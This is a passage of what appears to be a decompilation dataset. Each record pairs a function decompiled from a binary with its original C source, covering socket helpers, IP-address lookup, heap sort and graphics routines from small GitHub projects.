glVertex2i(center.x-tar.x,center.y-tar.y);\n}", "variable_types": [ [ "center", "struct point { int x; }" ], [ "tar", "struct point" ] ], "return_type": "void", "user_defined_types": [ "struct point { int x; }" ], "binary_hash": "f3edd88cb64abd6f7ef88094c15e4c3d52748bdea677279990a5418fc28ce4cc" }, { "name": "draw8p", "canonical_name": "func25", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall draw8p(__int64 a1, unsigned int a2, __int64 a3, int a4)\n{\n__int64 v5; // [rsp+0h] [rbp-20h] BYREF\nint v6; // [rsp+8h] [rbp-18h]\n__int64 v7; // [rsp+10h] [rbp-10h]\nunsigned int v8; // [rsp+18h] [rbp-8h]\n\nv7 = a1;\nv8 = a2;\nv5 = a3;\nv6 = a4;\ndraw4p(a1, a2, a3);\nswap((int *)&v5, (int *)&v5 + 1);\nreturn draw4p(v7, v8, v5);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func25(__int64 a1, unsigned int a2, __int64 a3, int a4)\n{\n__int64 v5; // [rsp+0h] [rbp-20h] BYREF\nint v6; // [rsp+8h] [rbp-18h]\n__int64 v7; // [rsp+10h] [rbp-10h]\nunsigned int v8; // [rsp+18h] [rbp-8h]\n\nv7 = a1;\nv8 = a2;\nv5 = a3;\nv6 = a4;\nfunc24(a1, a2, a3);\nfunc7((int *)&v5, (int *)&v5 + 1);\nreturn func24(v7, v8, v5);\n}", "original_code": "void draw8p(struct point center,struct point tar)\n{\n draw4p(center,tar);\n swap(&tar.x,&tar.y);\n draw4p(center,tar);\n}", "canonical_original_code": "void draw8p(struct point center, struct point tar)\n{\n draw4p(center,tar);\n swap(&tar.x,&tar.y);\n draw4p(center,tar);\n}", "variable_types": [ [ "center", "struct point { int x; }" ], [ "tar", "struct point" ] ], "return_type": "void", "user_defined_types": [ "struct point { int x; }" ], "binary_hash": "f3edd88cb64abd6f7ef88094c15e4c3d52748bdea677279990a5418fc28ce4cc" } ]
0f70b8b4cc178dad10d555e1e010017a48d52ede2b29dacc052af267866277be
rashmi18/SwissKnife
[ [ "bind_sock", "->" ], [ "listen_sock", "->" ], [ "accept_con", "->" ] ]
[ [ "bind_sock", "void __fastcall func0(int a1, uint16_t a2)\n{\nconst char *v2; // rdx\nstruct sockaddr addr; // [rsp+10h] [rbp-20h] BYREF\nint optval; // [rsp+2Ch] [rbp-4h] BYREF\n\noptval = 1;\n*(_QWORD *)&addr.sa_data[6] = 0LL;\naddr.sa_family = 2;\n*(_DWORD *)&addr.sa_data[2] = 0;\n*(_WORD *)addr.sa_data = htons(a2);\nsetsockopt(a1, 1, 2, &optval, 4u);\nif ( bind(a1, &addr, 0x10u) < 0 )\nerror((int)\"error while binding\", (int)&addr, v2);\n}" ] ]
[ { "name": "listen_sock", "canonical_name": "func1", "repo": "rashmi18/SwissKnife", "decompiled_code": "int __fastcall listen_sock(int a1)\n{\nreturn listen(a1, 5);\n}\n", "canonical_decompiled_code": "int __fastcall func1(int a1)\n{\nreturn listen(a1, 5);\n}", "original_code": "void listen_sock(int sock)\n{\n listen(sock, 5);\n}", "canonical_original_code": "void listen_sock(int sock)\n{\n listen(sock, 5);\n}", "variable_types": [ [ "sock", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "0f70b8b4cc178dad10d555e1e010017a48d52ede2b29dacc052af267866277be" }, { "name": "accept_con", "canonical_name": "func2", "repo": "rashmi18/SwissKnife", "decompiled_code": "__int64 __fastcall accept_con(int a1)\n{\nconst char *v1; // rdx\nsocklen_t addr_len; // [rsp+4Ch] [rbp-24h] BYREF\nstruct sockaddr addr; // [rsp+50h] [rbp-20h] BYREF\nint v5; // [rsp+6Ch] [rbp-4h]\n\naddr_len = 16;\nv5 = accept(a1, &addr, &addr_len);\nif ( v5 < 0 )\nerror((int)\"error while accepting connection\", (int)&addr, v1);\nreturn (unsigned int)v5;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func2(int a1)\n{\nconst char *v1; // rdx\nsocklen_t addr_len; // [rsp+4Ch] [rbp-24h] BYREF\nstruct sockaddr addr; // [rsp+50h] [rbp-20h] BYREF\nint v5; // [rsp+6Ch] [rbp-4h]\n\naddr_len = 16;\nv5 = accept(a1, &addr, &addr_len);\nif ( v5 < 0 )\nerror((int)\"error while accepting connection\", (int)&addr, v1);\nreturn (unsigned int)v5;\n}", "original_code": "int accept_con(int sock)\n{\n struct sockaddr_in client;\n int client_len = sizeof(client);\n int csock;\n char req_from[50];\n csock = accept(sock, (struct sockaddr *) &client, &client_len);\n if(csock < 0)\n error(\"error while accepting connection\");\n else\n {\n }\n return csock;\n}", "canonical_original_code": "int accept_con(int sock)\n{\n struct sockaddr_in client;\n int client_len = sizeof(client);\n int csock;\n char req_from[50];\n csock = accept(sock, (struct sockaddr *) &client, &client_len);\n if(csock < 0)\n error(\"error while accepting connection\");\n else\n {\n }\n return csock;\n}", "variable_types": [ [ "sock", "int" ], [ "client", "struct sockaddr_in { unsigned short sin_family; unsigned short sin_port; struct in_addr { unsigned int s_addr; } sin_addr; unsigned char sin_zero[-1]; }" ], [ "client_len", "int" ], [ "csock", "int" ], [ "req_from", "char [50]" ] ], "return_type": "int", "user_defined_types": [ "struct sockaddr_in { unsigned short sin_family; unsigned short sin_port; struct in_addr sin_addr; unsigned char sin_zero[-1]; }", "struct in_addr { unsigned int s_addr; }", "struct sockaddr { unsigned short sa_family; char sa_data[14]; }" ], "binary_hash": "0f70b8b4cc178dad10d555e1e010017a48d52ede2b29dacc052af267866277be" } ]
338c8fd26c271781207488adcd863510b06bd6315ebd968c77e0f81de388116c
rashmi18/SwissKnife
[ [ "cmpasc", "->" ], [ "main", "->" ] ]
[]
[ { "name": "cmpasc", "canonical_name": "func0", "repo": "rashmi18/SwissKnife", "decompiled_code": "__int64 __fastcall cmpasc(_DWORD *a1, _DWORD *a2)\n{\n__int64 result; // rax\n\nif ( *a1 >= *a2 )\nresult = *a1 > *a2;\nelse\nresult = 0xFFFFFFFFLL;\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func0(_DWORD *a1, _DWORD *a2)\n{\n__int64 result; // rax\n\nif ( *a1 >= *a2 )\nresult = *a1 > *a2;\nelse\nresult = 0xFFFFFFFFLL;\nreturn result;\n}", "original_code": "int cmpasc(const void *input1, const void *input2)\n{\n const int elem1 = *(int *) input1;\n const int elem2 = *(int *) input2;\n if(elem1 < elem2)\n return -1;\n if(elem1 > elem2)\n return 1;\n return 0;\n}", "canonical_original_code": "int cmpasc(void *input1, void *input2)\n{\n int elem1 = *(int *) input1;\n int elem2 = *(int *) input2;\n if(elem1 < elem2)\n return -1;\n if(elem1 > elem2)\n return 1;\n return 0;\n}", "variable_types": [ [ "input1", "void *" ], [ "input2", "void *" ], [ "elem1", "int" ], [ "elem2", "int" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "338c8fd26c271781207488adcd863510b06bd6315ebd968c77e0f81de388116c" }, { "name": "main", "canonical_name": "main", "repo": "rashmi18/SwissKnife", "decompiled_code": "int __cdecl main(int argc, const char **argv, const char **envp)\n{\nint v4[143]; // [rsp+50h] [rbp-240h] BYREF\nint i; // [rsp+28Ch] [rbp-4h]\n\nv4[142] = 19;\nv4[141] = 0;\nfor ( i = 0; i <= 19; ++i )\n{\nv4[6 * i + 20] = 20 - i;\nv4[i] = rand() % 20;\n}\nprintf(\"array: \");\nfor ( i = 0; i <= 19; ++i )\nprintf(\"%d, \", (unsigned int)v4[i]);\nputchar(10);\nhsort(v4, 20LL, 4LL, cmpasc);\nprintf(\"sorted output: \");\nfor ( i = 0; i <= 19; ++i )\nprintf(\"%d, \", (unsigned int)v4[i]);\nputchar(10);\nreturn 0;\n}\n", "canonical_decompiled_code": "int __cdecl main(int argc, const char **argv, const char **envp)\n{\nint v4[143]; // [rsp+50h] [rbp-240h] BYREF\nint i; // [rsp+28Ch] [rbp-4h]\n\nv4[142] = 19;\nv4[141] = 0;\nfor ( i = 0; i <= 19; ++i )\n{\nv4[6 * i + 20] = 20 - i;\nv4[i] = rand() % 20;\n}\nprintf(\"array: \");\nfor ( i = 0; i <= 19; ++i )\nprintf(\"%d, \", (unsigned int)v4[i]);\nputchar(10);\nhsort(v4, 20LL, 4LL, cmpasc);\nprintf(\"sorted output: \");\nfor ( i = 0; i <= 19; ++i )\nprintf(\"%d, \", (unsigned int)v4[i]);\nputchar(10);\nreturn 0;\n}", "original_code": "int main()\n{\n block blk[20];\n int arr[20];\n int i;\n int output[20];\n int limit = 20 - 1, outcntr = 0;\n for(i = 0; i < 20; i++) {\n blk[i].id = 20 - i;\n arr[i] = rand() % 20;\n }\n printf(\"array: \");\n for(i = 0; i < 20; i++)\n printf(\"%d, \", arr[i]);\n printf(\"\\n\");\n hsort((void *) &arr, 20, sizeof(int), cmpasc);\n printf(\"sorted output: \");\n for(i = 0; i < 20; i++)\n printf(\"%d, \", arr[i]);\n printf(\"\\n\");\n return 0;\n}", "canonical_original_code": "int main()\n{\n struct block blk[20];\n int arr[20];\n int i;\n int output[20];\n int limit = 20 - 1; int outcntr = 0;\n for(i = 0; i < 20; i++) {\n blk[i].id = 20 - i;\n arr[i] = rand() % 20;\n }\n printf(\"array: \");\n for(i = 0; i < 20; i++)\n printf(\"%d, \", arr[i]);\n printf(\"\\n\");\n hsort((void *) &arr, 20, sizeof(int), cmpasc);\n printf(\"sorted output: \");\n for(i = 0; i < 20; i++)\n printf(\"%d, \", arr[i]);\n printf(\"\\n\");\n return 0;\n}", "variable_types": [ [ "blk", "struct block { int id; char name[20]; } [20]" ], [ "arr", "int [20]" ], [ "i", "int" ], [ "output", "int [20]" ], [ "limit", "int" ], [ "outcntr", "int" ] ], "return_type": "int", "user_defined_types": [ "struct block { int id; char name[20]; }" ], "binary_hash": "338c8fd26c271781207488adcd863510b06bd6315ebd968c77e0f81de388116c" } ]
a95aeda361d97a5d637e9ba4d757f29bce92426adeabf1f609e8f82191b00ab6
rashmi18/SwissKnife
[ [ "connect_to", "->" ], [ "read_my_ip", "->" ] ]
[]
[ { "name": "connect_to", "canonical_name": "func0", "repo": "rashmi18/SwissKnife", "decompiled_code": "__int64 __fastcall connect_to(int a1, const char *a2, uint16_t a3)\n{\nconst char *v3; // rdx\n__int64 result; // rax\nstruct sockaddr addr; // [rsp+10h] [rbp-20h] BYREF\nstruct hostent *v7; // [rsp+28h] [rbp-8h]\n\nv7 = gethostbyname(a2);\nif ( !v7 )\nerror((int)\"No such host\", (int)a2, v3);\n*(_QWORD *)&addr.sa_family = 2LL;\n*(_QWORD *)&addr.sa_data[6] = 0LL;\nmemmove(&addr.sa_data[2], *(const void **)v7->h_addr_list, v7->h_length);\n*(_WORD *)addr.sa_data = htons(a3);\nif ( connect(a1, &addr, 0x10u) >= 0 )\nresult = 0LL;\nelse\nresult = 0xFFFFFFFFLL;\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func0(int a1, const char *a2, uint16_t a3)\n{\nconst char *v3; // rdx\n__int64 result; // rax\nstruct sockaddr addr; // [rsp+10h] [rbp-20h] BYREF\nstruct hostent *v7; // [rsp+28h] [rbp-8h]\n\nv7 = gethostbyname(a2);\nif ( !v7 )\nerror((int)\"No such host\", (int)a2, v3);\n*(_QWORD *)&addr.sa_family = 2LL;\n*(_QWORD *)&addr.sa_data[6] = 0LL;\nmemmove(&addr.sa_data[2], *(const void **)v7->h_addr_list, v7->h_length);\n*(_WORD *)addr.sa_data = htons(a3);\nif ( connect(a1, &addr, 0x10u) >= 0 )\nresult = 0LL;\nelse\nresult = 0xFFFFFFFFLL;\nreturn result;\n}", "original_code": "int connect_to(int sock, char *server_addr, int port)\n{\n struct sockaddr_in sin_serversock;\n struct hostent *h_server;\n h_server = gethostbyname(server_addr);\n if(h_server == ((void *)0))\n {\n error(\"No such host\");\n }\n bzero((char *) &sin_serversock, sizeof(sin_serversock));\n sin_serversock.sin_family = 2;\n bcopy((char *) h_server->h_addr_list[0],\n (char *) &sin_serversock.sin_addr.s_addr,\n h_server->h_length);\n sin_serversock.sin_port = htons(port);\n if(connect(sock, (struct sockaddr *) &sin_serversock, sizeof(sin_serversock)) < 0)\n {\n return -1;\n }\n return 0;\n}", "canonical_original_code": "int connect_to(int sock, char *server_addr, int port)\n{\n struct sockaddr_in sin_serversock;\n struct hostent *h_server;\n h_server = gethostbyname(server_addr);\n if(h_server == ((void *)0))\n {\n error(\"No such host\");\n }\n bzero((char *) &sin_serversock, sizeof(sin_serversock));\n sin_serversock.sin_family = 2;\n bcopy((char *) h_server->h_addr_list[0],\n (char *) &sin_serversock.sin_addr.s_addr,\n h_server->h_length);\n sin_serversock.sin_port = htons(port);\n if(connect(sock, (struct sockaddr *) &sin_serversock, sizeof(sin_serversock)) < 0)\n {\n return -1;\n }\n return 0;\n}", "variable_types": [ [ "sock", "int" ], [ "server_addr", "char *" ], [ "port", "int" ], [ "sin_serversock", "struct sockaddr_in { unsigned short sin_family; unsigned short sin_port; struct in_addr { unsigned int s_addr; } sin_addr; unsigned char sin_zero[-1]; }" ], [ "h_server", "struct hostent { char *h_name; char **h_aliases; int h_addrtype; int h_length; char **h_addr_list; } *" ] ], "return_type": "int", "user_defined_types": [ "struct sockaddr_in { unsigned short sin_family; unsigned short sin_port; struct in_addr sin_addr; unsigned char sin_zero[-1]; }", "struct in_addr { unsigned int s_addr; }", "struct hostent { char *h_name; char **h_aliases; int h_addrtype; int h_length; char **h_addr_list; }", "struct sockaddr { unsigned short sa_family; char sa_data[14]; }" ], "binary_hash": "a95aeda361d97a5d637e9ba4d757f29bce92426adeabf1f609e8f82191b00ab6" }, { "name": "read_my_ip", "canonical_name": "func1", "repo": "rashmi18/SwissKnife", "decompiled_code": "int __fastcall read_my_ip(char *a1, const char *a2)\n{\nchar dest[16]; // [rsp+10h] [rbp-40h] BYREF\n__int16 v4; // [rsp+20h] [rbp-30h] BYREF\nunsigned int v5; // [rsp+24h] [rbp-2Ch]\n__int16 *v6; // [rsp+40h] [rbp-10h]\nint fd; // [rsp+4Ch] [rbp-4h]\n\nfd = socket(2, 1, 0);\nv4 = 2;\nstrncpy(dest, a2, 0xFuLL);\nioctl(fd, 0x8915uLL, dest);\nclose(fd);\nv6 = &v4;\nreturn sprintf(a1, \"%d.%d.%d.%d\", (unsigned __int8)v5, BYTE1(v5), BYTE2(v5), HIBYTE(v5));\n}\n", "canonical_decompiled_code": "int __fastcall func1(char *a1, const char *a2)\n{\nchar dest[16]; // [rsp+10h] [rbp-40h] BYREF\n__int16 v4; // [rsp+20h] [rbp-30h] BYREF\nunsigned int v5; // [rsp+24h] [rbp-2Ch]\n__int16 *v6; // [rsp+40h] [rbp-10h]\nint fd; // [rsp+4Ch] [rbp-4h]\n\nfd = socket(2, 1, 0);\nv4 = 2;\nstrncpy(dest, a2, 0xFuLL);\nioctl(fd, 0x8915uLL, dest);\nclose(fd);\nv6 = &v4;\nreturn sprintf(a1, \"%d.%d.%d.%d\", (unsigned __int8)v5, BYTE1(v5), BYTE2(v5), HIBYTE(v5));\n}", "original_code": "void read_my_ip(char ip[50], char *interface)\n{\n int fd;\n struct ifreq ifr;\n struct sockaddr_in *client;\n fd = socket(2, SOCK_STREAM, 0);\n ifr.ifr_ifru.ifru_addr.sa_family = 2;\n strncpy(ifr.ifr_ifrn.ifrn_name, interface, 16 -1);\n ioctl(fd, 0x8915, &ifr);\n close(fd);\n client = (struct sockaddr_in *) &ifr.ifr_ifru.ifru_addr;\n sprintf(ip, \"%d.%d.%d.%d\", (int)(client->sin_addr.s_addr&0xFF),\n (int)((client->sin_addr.s_addr&0xFF00)>>8),\n (int)((client->sin_addr.s_addr&0xFF0000)>>16),\n (int)((client->sin_addr.s_addr&0xFF000000)>>24));\n}", "canonical_original_code": "void read_my_ip(char ip[50], char *interface)\n{\n int fd;\n struct ifreq ifr;\n struct sockaddr_in *client;\n fd = socket(2, SOCK_STREAM, 0);\n ifr.ifr_ifru.ifru_addr.sa_family = 2;\n strncpy(ifr.ifr_ifrn.ifrn_name, interface, 16 -1);\n ioctl(fd, 0x8915, &ifr);\n close(fd);\n client = (struct sockaddr_in *) &ifr.ifr_ifru.ifru_addr;\n sprintf(ip, \"%d.%d.%d.%d\", (int)(client->sin_addr.s_addr&0xFF),\n (int)((client->sin_addr.s_addr&0xFF00)>>8),\n (int)((client->sin_addr.s_addr&0xFF0000)>>16),\n (int)((client->sin_addr.s_addr&0xFF000000)>>24));\n}", "variable_types": [ [ "ip", "char [50]" ], [ "interface", "char *" ], [ "fd", "int" ], [ "ifr", "struct ifreq { union { char ifrn_name[16]; } ifr_ifrn; union { struct sockaddr { unsigned short sa_family; char sa_data[14]; } ifru_addr; struct sockaddr ifru_dstaddr; struct sockaddr ifru_broadaddr; struct sockaddr ifru_netmask; struct sockaddr ifru_hwaddr; short ifru_flags; int ifru_ivalue; int ifru_mtu; struct ifmap { unsigned long mem_start; unsigned long mem_end; unsigned short base_addr; unsigned char irq; unsigned char dma; unsigned char port; } ifru_map; char ifru_slave[16]; char ifru_newname[16]; char *ifru_data; } ifr_ifru; }" ], [ "client", "struct sockaddr_in { unsigned short sin_family; unsigned short sin_port; struct in_addr { unsigned int s_addr; } sin_addr; unsigned char sin_zero[-1]; } *" ] ], "return_type": "void", "user_defined_types": [ "struct ifreq { union { char ifrn_name[16]; } ifr_ifrn; union { struct sockaddr ifru_addr; struct sockaddr ifru_dstaddr; struct sockaddr ifru_broadaddr; struct sockaddr ifru_netmask; struct sockaddr ifru_hwaddr; short ifru_flags; int ifru_ivalue; int ifru_mtu; struct ifmap ifru_map; char ifru_slave[16]; char ifru_newname[16]; char *ifru_data; } ifr_ifru; }", "struct sockaddr_in { unsigned short sin_family; unsigned short sin_port; struct in_addr sin_addr; unsigned char sin_zero[-1]; }", "struct sockaddr { unsigned short sa_family; char sa_data[14]; }", "struct ifmap { unsigned long mem_start; unsigned long mem_end; unsigned short base_addr; unsigned char irq; unsigned char dma; unsigned char port; }", "struct in_addr { unsigned int s_addr; }" ], "binary_hash": "a95aeda361d97a5d637e9ba4d757f29bce92426adeabf1f609e8f82191b00ab6" } ]
acf294f010d350d7f6e439c09e25cdf24680d426de9673cef1d9b2cc6c2f4603
rashmi18/SwissKnife
[ [ "sub_401020", "->" ], [ "start", "->" ], [ "dl_relocate_static_pie", "->" ], [ "deregister_tm_clones", "->", "_do_global_dtors_aux" ], [ "register_tm_clones", "->", "frame_dummy" ], [ "_do_global_dtors_aux", "->", "deregister_tm_clones" ], [ "frame_dummy", "->", "register_tm_clones" ], [ "main", "->" ], [ "_libc_csu_init", "->" ], [ "_libc_csu_fini", "->" ] ]
[ [ "sub_401020", "__int64 func0()\n{\nreturn qword_404010();\n}" ], [ "start", "void __fastcall __noreturn func1(__int64 a1, __int64 a2, void (*a3)(void))\n{\n__int64 v3; // rax\nint v4; // esi\n__int64 v5; // [rsp-8h] [rbp-8h] BYREF\nchar *retaddr; // [rsp+0h] [rbp+0h] BYREF\n\nv4 = v5;\nv5 = v3;\n_libc_start_main(\n(int (__fastcall *)(int, char **, char **))main,\nv4,\n&retaddr,\n_libc_csu_init,\n_libc_csu_fini,\na3,\n&v5);\n__halt();\n}" ], [ "dl_relocate_static_pie", "void func2()\n{\n;\n}" ], [ "deregister_tm_clones", "char *func3()\n{\nreturn &_bss_start;\n}" ], [ "register_tm_clones", "__int64 func4()\n{\nreturn 0LL;\n}" ], [ "_do_global_dtors_aux", "char *func5()\n{\nchar *result; // rax\n\nif ( !_bss_start )\n{\nresult = func3();\n_bss_start = 1;\n}\nreturn result;\n}" ], [ "frame_dummy", "__int64 func6()\n{\nreturn func4();\n}" ], [ "main", "int __cdecl main(int argc, const char **argv, const char **envp)\n{\nif ( createHashTable(5) )\nprintf(\"\\nHashTable created successfully\");\nelse\nprintf(\"\\nHashTable could not be created\");\nreturn 0;\n}" ], [ "_libc_csu_init", "void __fastcall func7(unsigned int a1, __int64 a2, __int64 a3)\n{\nsigned __int64 v4; // rbp\n__int64 i; // rbx\n\ninit_proc();\nv4 = &_do_global_dtors_aux_fini_array_entry - &_frame_dummy_init_array_entry;\nif ( v4 )\n{\nfor ( i = 0LL; i != v4; ++i )\n((void (__fastcall *)(_QWORD, __int64, __int64))*(&_frame_dummy_init_array_entry + i))(a1, a2, a3);\n}\n}" ], [ "_libc_csu_fini", "void func8(void)\n{\n;\n}" ] ]
[]
bc0388247466feb476b2389a418541d2191f2472275817670ccd0c0a631f95aa
rashmi18/SwissKnife
[ [ "get_sock", "->", "error" ], [ "read_from", "->" ], [ "write_to", "->", "error" ], [ "error", "->", "get_sock", "write_to" ], [ "close_sock", "->" ] ]
[ [ "get_sock", "__int64 func0()\n{\nint v1; // [rsp+Ch] [rbp-4h]\n\nv1 = socket(2, 2, 0);\nif ( v1 < 0 )\nfunc3(\"error opening socket\");\nreturn (unsigned int)v1;\n}" ], [ "read_from", "__int64 __fastcall func1(int a1, void *a2, int a3, _QWORD *a4)\n{\n__int64 v4; // rdx\nstruct sockaddr addr; // [rsp+20h] [rbp-20h] BYREF\nsocklen_t addr_len; // [rsp+38h] [rbp-8h] BYREF\nunsigned int v10; // [rsp+3Ch] [rbp-4h]\n\nmemset(a2, 0, a3);\naddr_len = 16;\nv10 = recvfrom(a1, a2, a3, 0, &addr, &addr_len);\nv4 = *(_QWORD *)&addr.sa_data[6];\n*a4 = *(_QWORD *)&addr.sa_family;\na4[1] = v4;\nreturn v10;\n}" ], [ "write_to", "__int64 __fastcall func2(int a1, const void *a2, int a3, const char *a4, uint16_t a5)\n{\nstruct sockaddr addr; // [rsp+20h] [rbp-20h] BYREF\nunsigned int v9; // [rsp+34h] [rbp-Ch]\nstruct hostent *v10; // [rsp+38h] [rbp-8h]\n\nv10 = gethostbyname(a4);\nif ( !v10 )\nfunc3(\"No such host\");\n*(_QWORD *)&addr.sa_family = 2LL;\n*(_QWORD *)&addr.sa_data[6] = 0LL;\nmemmove(&addr.sa_data[2], *(const void **)v10->h_addr_list, v10->h_length);\n*(_WORD *)addr.sa_data = htons(a5);\nv9 = sendto(a1, a2, a3, 0, &addr, 0x10u);\nif ( (v9 & 0x80000000) != 0 )\nfunc3(\"error writing to socket\");\nreturn v9;\n}" ] ]
[ { "name": "error", "canonical_name": "func3", "repo": "rashmi18/SwissKnife", "decompiled_code": "void __fastcall __noreturn error(const char *a1)\n{\nperror(a1);\nputchar(10);\nexit(1);\n}\n", "canonical_decompiled_code": "void __fastcall __noreturn func3(const char *a1)\n{\nperror(a1);\nputchar(10);\nexit(1);\n}", "original_code": "void error(char *msg)\n{\n perror(msg);\n printf(\"\\n\");\n exit(1);\n}", "canonical_original_code": "void error(char *msg)\n{\n perror(msg);\n printf(\"\\n\");\n exit(1);\n}", "variable_types": [ [ "msg", "char *" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "bc0388247466feb476b2389a418541d2191f2472275817670ccd0c0a631f95aa" }, { "name": "close_sock", "canonical_name": "func4", "repo": "rashmi18/SwissKnife", "decompiled_code": "int __fastcall close_sock(int a1)\n{\nreturn close(a1);\n}\n", "canonical_decompiled_code": "int __fastcall func4(int a1)\n{\nreturn close(a1);\n}", "original_code": "void close_sock(int sock)\n{\n close(sock);\n}", "canonical_original_code": "void close_sock(int sock)\n{\n close(sock);\n}", "variable_types": [ [ "sock", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "bc0388247466feb476b2389a418541d2191f2472275817670ccd0c0a631f95aa" } ]
c4344e6511d5aa58e1a9820e0b53ec450ae7598eda7611c352cda252954efa6c
rashmi18/SwissKnife
[ [ "swap", "->", "sift", "hsort" ], [ "sift", "->", "swap", "heapify", "hsort" ], [ "heapify", "->", "sift", "hsort" ], [ "hsort", "->", "heapify", "swap", "sift" ] ]
[]
[ { "name": "swap", "canonical_name": "func0", "repo": "rashmi18/SwissKnife", "decompiled_code": "unsigned __int64 __fastcall swap(char *a1, char *a2, unsigned int a3)\n{\nunsigned __int64 result; // rax\nchar *v4; // rax\nchar *v5; // rax\nchar *v7; // [rsp+4h] [rbp-20h]\nchar *v8; // [rsp+Ch] [rbp-18h]\nchar v9; // [rsp+23h] [rbp-1h]\n\nv8 = a1;\nv7 = a2;\nresult = (unsigned __int64)a1;\nif ( a1 != a2 )\n{\nwhile ( 1 )\n{\nresult = a3--;\nif ( !(_DWORD)result )\nbreak;\nv9 = *v8;\nv4 = v8++;\n*v4 = *v7;\nv5 = v7++;\n*v5 = v9;\n}\n}\nreturn result;\n}\n", "canonical_decompiled_code": "unsigned __int64 __fastcall func0(char *a1, char *a2, unsigned int a3)\n{\nunsigned __int64 result; // rax\nchar *v4; // rax\nchar *v5; // rax\nchar *v7; // [rsp+4h] [rbp-20h]\nchar *v8; // [rsp+Ch] [rbp-18h]\nchar v9; // [rsp+23h] [rbp-1h]\n\nv8 = a1;\nv7 = a2;\nresult = (unsigned __int64)a1;\nif ( a1 != a2 )\n{\nwhile ( 1 )\n{\nresult = a3--;\nif ( !(_DWORD)result )\nbreak;\nv9 = *v8;\nv4 = v8++;\n*v4 = *v7;\nv5 = v7++;\n*v5 = v9;\n}\n}\nreturn result;\n}", "original_code": "static void swap(char *num1, char *num2, unsigned width) {\n char tmp;\n if (num1 != num2) {\n while (width--) {\n tmp = *num1;\n *num1++ = *num2;\n *num2++ = tmp;\n }\n }\n}", "canonical_original_code": "static void swap(char *num1, char *num2, unsigned int width) {\n char tmp;\n if (num1 != num2) {\n while (width--) {\n tmp = *num1;\n *num1++ = *num2;\n *num2++ = tmp;\n }\n }\n}", "variable_types": [ [ "num1", "char *" ], [ "num2", "char *" ], [ "width", "unsigned int" ], [ "tmp", "char" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "c4344e6511d5aa58e1a9820e0b53ec450ae7598eda7611c352cda252954efa6c" }, { "name": "sift", "canonical_name": "func1", "repo": "rashmi18/SwissKnife", "decompiled_code": "double __fastcall sift(__int64 a1, int a2, unsigned int a3, unsigned int a4, int (__fastcall *a5)(__int64, __int64))\n{\ndouble result; // xmm0_8\nint v10; // [rsp+4Ch] [rbp-4h]\n\nwhile ( 1 )\n{\nresult = (double)(a3 >> 1);\nif ( result <= (double)a2 )\nbreak;\nv10 = a3 <= 2 * (a2 + 1) || a5(a4 * (2 * (a2 + 1) - 1) + a1, a4 * 2 * (a2 + 1) + a1) >= 0 ? 2 * (a2 + 1) - 1 : 2 * (a2 + 1);\nif ( a5(a4 * a2 + a1, a4 * v10 + a1) > 0 )\nbreak;\nswap((char *)(a4 * a2 + a1), (char *)(a4 * v10 + a1), a4);\na2 = v10;\n}\nreturn result;\n}\n", "canonical_decompiled_code": "double __fastcall func1(__int64 a1, int a2, unsigned int a3, unsigned int a4, int (__fastcall *a5)(__int64, __int64))\n{\ndouble result; // xmm0_8\nint v10; // [rsp+4Ch] [rbp-4h]\n\nwhile ( 1 )\n{\nresult = (double)(a3 >> 1);\nif ( result <= (double)a2 )\nbreak;\nv10 = a3 <= 2 * (a2 + 1) || a5(a4 * (2 * (a2 + 1) - 1) + a1, a4 * 2 * (a2 + 1) + a1) >= 0 ? 2 * (a2 + 1) - 1 : 2 * (a2 + 1);\nif ( a5(a4 * a2 + a1, a4 * v10 + a1) > 0 )\nbreak;\nfunc0((char *)(a4 * a2 + a1), (char *)(a4 * v10 + a1), a4);\na2 = v10;\n}\nreturn result;\n}", "original_code": "static void sift(void *base, unsigned mid, unsigned num, unsigned width, int (*comp)(const void *, const void *))\n{\n int left, right;\n int small;\n char *rchild, *lchild;\n char *midchild, *smallchild;\n while(mid < floor(num / 2)) {\n left = (mid + 1) * 2 - 1;\n right = left + 1;\n lchild = (char *) base + left * width;\n rchild = (char *) base + right * width;\n if(right < num && comp(lchild, rchild) < 0)\n small = right;\n else\n small = left;\n midchild = (char *) base + mid * width;\n smallchild = (char *) base + small * width;\n if(comp(midchild, smallchild) > 0)\n return;\n swap(midchild, smallchild, width);\n mid = small;\n }\n}", "canonical_original_code": "static void sift(void *base, unsigned int mid, unsigned int num, unsigned int width, int (*comp)(void *, void *))\n{\n int left; int right;\n int small;\n char *rchild; char *lchild;\n char *midchild; char *smallchild;\n while(mid < floor(num / 2)) {\n left = (mid + 1) * 2 - 1;\n right = left + 1;\n lchild = (char *) base + left * width;\n rchild = (char *) base + right * width;\n if(right < num && comp(lchild, rchild) < 0)\n small = right;\n else\n small = left;\n midchild = (char *) base + mid * width;\n smallchild = (char *) base + small * width;\n if(comp(midchild, smallchild) > 0)\n return;\n swap(midchild, smallchild, width);\n mid = small;\n }\n}", "variable_types": [ [ "base", "void *" ], [ "mid", "unsigned int" ], [ "num", "unsigned int" ], [ "width", "unsigned int" ], [ "comp", "int (*)(void *, void *)" ], [ "left", "int" ], [ "right", "int" ], [ "small", "int" ], [ "rchild", "char *" ], [ "lchild", "char *" ], [ "midchild", "char *" ], [ "smallchild", "char *" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "c4344e6511d5aa58e1a9820e0b53ec450ae7598eda7611c352cda252954efa6c" }, { "name": "heapify", "canonical_name": "func2", "repo": "rashmi18/SwissKnife", "decompiled_code": "void __fastcall heapify(__int64 a1, unsigned int a2, unsigned int a3, int (__fastcall *a4)(__int64, __int64))\n{\nint i; // [rsp+2Ch] [rbp-4h]\n\nfor ( i = (int)(double)(a2 >> 1); i >= 0; --i )\nsift(a1, i - 1, a2, a3, a4);\n}\n", "canonical_decompiled_code": "void __fastcall func2(__int64 a1, unsigned int a2, unsigned int a3, int (__fastcall *a4)(__int64, __int64))\n{\nint i; // [rsp+2Ch] [rbp-4h]\n\nfor ( i = (int)(double)(a2 >> 1); i >= 0; --i )\nfunc1(a1, i - 1, a2, a3, a4);\n}", "original_code": "static void heapify(void *base, unsigned num, unsigned width, int 